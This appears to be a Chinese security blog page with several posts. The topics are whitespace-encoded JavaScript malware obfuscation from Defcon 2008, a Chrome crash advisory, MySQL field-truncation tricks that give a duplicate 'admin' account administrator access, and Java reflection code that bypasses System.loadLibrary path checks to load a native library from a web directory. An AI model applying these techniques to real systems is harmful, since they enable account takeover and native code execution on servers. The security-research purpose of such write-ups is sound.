07月 9th, 2009milw0rm最后的打包…
最新milw0rm站点数据镜像下载: Security Tools
PoC has gone with wind…
最新milw0rm站点数据镜像下载: Security Tools
PoC has gone with wind…
在刚刚结束的Defcon 2008上,Kolisar为我们展示了一种非常有创意的JS代码变形方法。
一篇介绍这种技术原理的blog在这里, Kolisar在大会上展示的PoC代码在这里,PPT在这里。
好了,给了一堆的链接,下面来谈谈我对这种新变形技术的一点体会。
首先,对于网页挂马的检测者来说,对于eval、document.write()、畸形长字符串等都是非常敏感的。 一般来说,在网页中出现这样一些特征语句时,往往就是一些挂马语句。更不用说如果直接出现类似<iframe src=”xxx.html” style=”display:none”/>这样的赤裸裸语句了。所以,Kolisar采用了遍历和枚举dom对象的方法来一步一步的获得对document对象的引用句柄和document对象的write方法和getElementById方法的使用。获取当前窗口对象句柄最直接的方法就是h=this。
接下来,从window对象开始,依次通过一些字符串长度和特征字节位的比较而获得document对象、document对象中的write、getElementById方法,并用数组来存储获得的这些对象和方法的句柄引用。不过经过我的测试,在IE 8 (beta 2)中 使用h[i][j](’p')这种方法访问dom节点是无效的,在FF 3.0.1中倒是测试可以通过。这应该是一个browser specific的特性。所以,这是该技术方法的一个约束条件。
有了这些对象和对象方法之后,接下来是如何读取并执行“嵌入的代码”了。Kolisar嵌入代码的方法非常特别,这也是他的这个Javascript变形技术的最具创新意味的地方。他把代码直接隐藏在了自己的解密代码之中!而所谓的隐藏代码就是空格和tab!将解密代码用鼠标选中反白之后,可以发现,从h=this;这行代码开始,后面几十行的代码的结束处都有一些留白。把鼠标定位到这些留白之后,通过方向键移动光标,我们可以清楚的看到这些空白是由一串有“规律”的tab和空格组成!对,就是空白!tab和空白的交替出现,代表了0、1字符串!这就是比特编码!再数一下这个空格和tab的数目,你又会发现,一定是每行各出现8次由空格和tab组成的空白!
说到这里,我们终于明白了。所谓的恶意代码其实就是一堆“空白”!这种方法,不仅可以逃过过滤程序的静态检测,就连专业安全分析人员的眼睛也无法发现它们!谁能想到一堆空白中其实蕴藏的就是恶意代码呢?
这个技术相当的不错,相信很快就能在网上看到利用这种技术来挂马的实例了,呵呵。
早上第一时间下载并安装了Chrome,TNND,不知道是不是RPWT,打开任何的网页都是崩溃。。。
下午已经有人放出了第一个DoS Exploit,可见Google的强大影响力!
不废话了,下面是漏洞描述和PoC。
—————————————————
Software:
Google Chrome Browser 0.2.149.27
Tested:
Windows XP Professional SP3
Result:
Google Chrome Crashes with All Tabs
Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a ’special’ character,
the chrome crashes with a Google Chrome message window “Whoa! Google Chrome has crashed.
Restart now?”. It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0×01002FF4.
Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php
Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
—————————————————
PoC Working/Exploit:
Click for a demo here
今天看到一篇文章,是关于MySQL的几个最新的安全隐患发现的。原文在这里。乍一看,这两个漏洞都挺有意思的,而且在当前的Web开发者中肯定有不少人没有注意到作者所提到的这两个问题的。
第一个问题是这样的,MySQL默认有一个配置参数 max_packet_size,这个参数是用于限制MySQL客户端和MySQL服务器端数据通信的数据包大小,MySQL的默认配置是1MB。如果客户端发送的数据超过了1MB,则MySQL服务器端会忽略掉这个请求数据。作者接下来举了两个利用这个缺陷的例子,第一个是利用超长数据来使MySQL的日志记录程序失效,第二个是在PHP+MySQL的环境下,PHP的Session清理程序会由于一次发送的清理session数据的请求数据包超过max_packet_size的限制,而导致清理session失败。
而实际上,由于很多PHP+MySQL的程序都会运行用户上传附件之类,而一般的PHP+MySQL的上传附件限制都是大于1MB的,所以PHP的程序开发人员一般是会去修改max_packet_size的值为大于1MB。这就给我们的漏洞利用带来了一定的麻烦,毕竟在当前的网络状况下,构造1MB多的数据去上传还是可以忍受的。但是太大的数据量就比较考验我们的耐心了,呵呵。
第二个问题就比较严重了,MySQL对于超过字段长度的数据插入操作会进行默认的字符串截短。例如一个字段定义的长度为10,如果插入的字符串长度超过10,MySQL会将长度超过10的部分字符串自动舍去后插入到数据表中。默认配置条件下,MySQL会产生一个警告信息,但是这个警告信息不会被Web应用程序捕获到。所以,从表面上来看,超长数据也是可以“成功”插入数据表的。作者在下面举的这个例子就很有代表性了,首先是一个场景假设:
用户如果尝试注册一个用户名为admin的用户,会由于Web应用程序中的isAlreadyRegistered函数的校验而注册失败。
SELECT * FROM user WHERE username='admin'
但如果用户使用用户名’admin x’来注册(注意admin和x之间有11个空格),则注册流程会是这样的:
isAlreadyRegistered函数会使用上面的SQL语句来检查user表中是否存在相同用户名的用户,查询结果肯定是不存在的。那么用户注册成功!
实际上,真正插入到user表中的用户名是’admin’!也就是说,MySQL不仅会截短超过长度限制部分的字符串,也会对字符串头尾的空白字符进行截短!所以,在user表中,现在存在了两个admin用户!
接下来,用户登陆,他使用的是用户名admin,密码是他刚才设置的’admin x’的密码。假设Web应用程序的登陆认证和授权函数是这样的一段代码:
$userdata = null;
if (isPasswordCorrect($username, $password)) {
$userdata = getUserDataByLogin($username);
...
}
其中isPasswordCorrect函数使用的SQL语句为:
SELECT username FROM users WHERE username = ? AND passhash = ?
getUserDataByLogin函数使用的SQL语句为:
SELECT * FROM users WHERE username = ?
可以看得出,上面的语句使用了预编译的SQL语句,是无法实施SQL注入的。但是由于MySQL的默认字段截短策略,isPasswordCorrect函数会成功执行并返回用户名admin,接下来的getUserDataByLogin也会正确执行,返回的结果虽然是一个数组,但是Web应用程序一般是取返回数组中的第一个结果,也就是真正的管理员用户admin的所有数据!
怎么样,不用SQL注入,一样拿到管理员权限!
后记:经过测试,上面的漏洞利用过程在MySQL 4中是确实存在并且可以利用的。但是在MySQL 5中,本机测试失败。失败的关键就在于MySQL 5对于超过字段长度限制的字符串插入会报错,并停止字符串插入操作。
附:MySQL 4的测试过程
mysql> select * from tb_sqltest where name='jason'; +----+-------+--------+------+------+------+------+ | id | name | remark | time | col1 | col2 | col3 | +----+-------+--------+------+------+------+------+ | 1 | jason | NULL | NULL | NULL | NULL | NULL | +----+-------+--------+------+------+------+------+ 1 row in set mysql> select * from tb_sqltest where name='jason x'; Empty set mysql> insert into tb_sqltest (id,name) values (2,'jason x'); Query OK, 1 row affected mysql> select * from tb_sqltest where name='jason'; +----+-------+--------+------+------+------+------+ | id | name | remark | time | col1 | col2 | col3 | +----+-------+--------+------+------+------+------+ | 1 | jason | NULL | NULL | NULL | NULL | NULL | | 2 | jason | NULL | NULL | NULL | NULL | NULL | +----+-------+--------+------+------+------+------+ 2 rows in set
0day-java
load dynamic library from any path(java加载任意目录库文件)
TEAM : I.S.T.O
AUTHOR : kj021320
转载需注明作者,未经作者同意,不得用于任何形式的商业活动
通常我们采用JAVASE API的局限性太大!例如只提供TCP/UDP以上的协议封装
不能获取更多硬件设备信息,对不同系统的特性访问(如win的注册表)等
为了摆脱这些,SUN-JAVA提供了 类跟本地系统的另一种桥梁 JNI(java native
interface)中文就是JAVA本地接口,在WIN系统上面就是采用DLL文件而*nix就是SO文件
而编写好特定的 DLL/SO 文件以后我们需要通过 System.loadLibrary 对文件进行加载 而且官方也是这样说
必须确保库文件的位置在类路径中,从而确保 JVM 可以访问该库文件
对 System.loadLibrary
方法进行审核后,发现没对路径进行过滤,可以加载任意目录的库文件~而对于JAVA-WEB安全来说,这个问题更有利用价值!
库文件不需要放在容器的类路径而加载,因为一般安全的网站,容器的类路径目录都是只读,只有WEB目录可写…
现在JAVA类路径在 f:\kj021320\jproject\ 下 而且有
kj021320.class #类 含有本地方法 有静态代码域
public static native String getISTO();
static{
System.loadLibrary(”../../../kj021320″);
}
而我们在 跟目录 f:\ 下有
kj021320.dll #库文件 对kj021320.class 本地方法的实现
同样可以加载动态连接库
下面我们对它的JAVA源代码进行分析研究
首先是System类的 loadLibrary 静态方法发起的 跟踪以下代码
public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(getCallerClass(), libname);
}
看此 是调用了 Runtime类的 loadLibrary0 方法~ 把 调用此方法的类名字以及
lib名字传进去,我们再往这个方法进行跟踪
Runtime类的
synchronized void loadLibrary0(Class fromClass, String libname) {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkLink(libname); //检查是否能调用这个库文件名字
}
/*
重点来了~注意看下面的代码 他对路径进行过滤了!可惜!win系统中
File.separatorChar 是 \ 我们可以用 / 来跳回上一层目录 绕过他的验证
那*nix 系统呢? 不用急 我们继续往下面看
*/
if (libname.indexOf((int)File.separatorChar) != -1) {
throw new UnsatisfiedLinkError(”Directory separator should not
appear in library name: ” + libname);
}
//这里又调用了ClassLoader 的loadLibrary方法 我们继续追踪进去
ClassLoader.loadLibrary(fromClass, libname, false);
}
ClassLoader类的
//这里代码有点多
static void loadLibrary(Class fromClass, String name,boolean
isAbsolute) {
//首先判断我们上面是否有传一个类进来~~ 就是 到底是哪个类调用加载 库的方法 就把那个类传进去所以
//fromClass 大多不会为null
ClassLoader loader = (fromClass == null) ? null :
fromClass.getClassLoader();
//这里判断 系统的类库路径
if (sys_paths == null) {
usr_paths = initializePath(”java.library.path”);
sys_paths = initializePath(”sun.boot.library.path”);
}
//判断路径是不是绝对的!要是绝对路径的就直接 new File() 看到了吗?没有对name再次过滤
//汗~~ 又调用 loadLibrary0 这个方法! 哎!嵌套还真多
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load library: ” + name);
}
if (loader != null) {
String libfilename = loader.findLibrary(name);
if (libfilename != null) {
File libfile = new File(libfilename);
if (!libfile.isAbsolute()) {
throw new UnsatisfiedLinkError(”ClassLoader.findLibrary failed to
return an absolute path: ” + libfilename);
}
if (loadLibrary0(fromClass, libfile)) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load ” + libfilename);
}
}
//这里是循环遍历类路径 也调用了 loadLibrary0这个方法 我们得再次跟踪进去
for (int i = 0 ; i < sys_paths.length ; i++) {
File libfile = new File(sys_paths[i], System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
if (loader != null) {
for (int i = 0 ; i < usr_paths.length ; i++) {
File libfile = new
File(usr_paths[i],System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
}
// Oops, it failed
throw new UnsatisfiedLinkError(”no ” + name + ” in
java.library.path”);
}
//看了以上的代码,很明显了!我们需要再去分析 loadLibrary0这个方法,代码更多了!看来更是重点
private static boolean loadLibrary0(Class fromClass, final File
file) {
//判断文件是否存在 不存在就退出这个函数返回false
Boolean
exists = (Boolean)AccessController.doPrivileged(new PrivilegedAction()
{public Object run() {return new Boolean(file.exists());}});
if (!exists.booleanValue()) {
return false;
}
//以下是获取文件的绝对路径
String name;
try {
name = file.getCanonicalPath();
} catch (IOException e) {
return false;
}
//这句不分析了
ClassLoader loader =(fromClass == null) ? null :
fromClass.getClassLoader();
//获取 系统本地库的集合
Vector libs =loader != null ? loader.nativeLibraries :
systemNativeLibraries;
//下面这个同步操作是为了避免同一个库文件在多线程下 加载多次
synchronized (libs) {
int size = libs.size();
for (int i = 0; i < size; i++) {
NativeLibrary lib = (NativeLibrary)libs.elementAt(i);
if (name.equals(lib.name)) {
return true;
}
}
synchronized (loadedLibraryNames) {
if (loadedLibraryNames.contains(name)) {
throw new UnsatisfiedLinkError(”Native Library ” + name + ”
already loaded in another classloader”);
}
int n = nativeLibraryContext.size();
for (int i = 0; i < n; i++) {
NativeLibrary lib =
(NativeLibrary)nativeLibraryContext.elementAt(i);
if (name.equals(lib.name)) {
if (loader == lib.fromClass.getClassLoader()) {
return true;
} else {
throw new UnsatisfiedLinkError(”Native Library “+name+” is being
loaded in another classloader”);
}
}
}
//实例化一个本地库
NativeLibrary lib = new NativeLibrary(fromClass, name);
nativeLibraryContext.push(lib);
try {
//**************正式加载操作 NativeLibrary的load方法实现***********
lib.load(name);
} finally {
nativeLibraryContext.pop();
}
if (lib.handle != 0) {
loadedLibraryNames.addElement(name);
libs.addElement(lib);
return true;
}
return false;
}
}
}
以上 NativeLibrary 类是ClassLoader类的一个内部类 最终 load方法也是本地实现 具体是JVM内部的!
分析到这里很明显 最终我们可以调用loadLibrary0 这个方法来绕过前面一大堆的验证!OK 但是loadLibrary0
是个private方法
一般直接调用不了!对于熟悉JAVA的开发者来说!这个是小事!我们采用reflect 来破解 他的权限吧!
下面静态代码实现
static
{
Method llm;
try {
//获取私有的方法 loadLibrary0
llm = ClassLoader.class.getDeclaredMethod(”loadLibrary0″, new
Class[]{Class.class,File.class});
llm.setAccessible(true);//破解权限
llm.invoke(null, new Object[]{你自己的类.class,new File(”DLL的绝对路径
记得加后缀”)});
/*
llm.invoke(null, new Object[]{ISTO.class,new File(”/isto.so”)});
*/
} catch (Exception e) {
e.printStackTrace();
}
}
这样我们就可以在WEB目录上面放库文件 任意加载了
全文完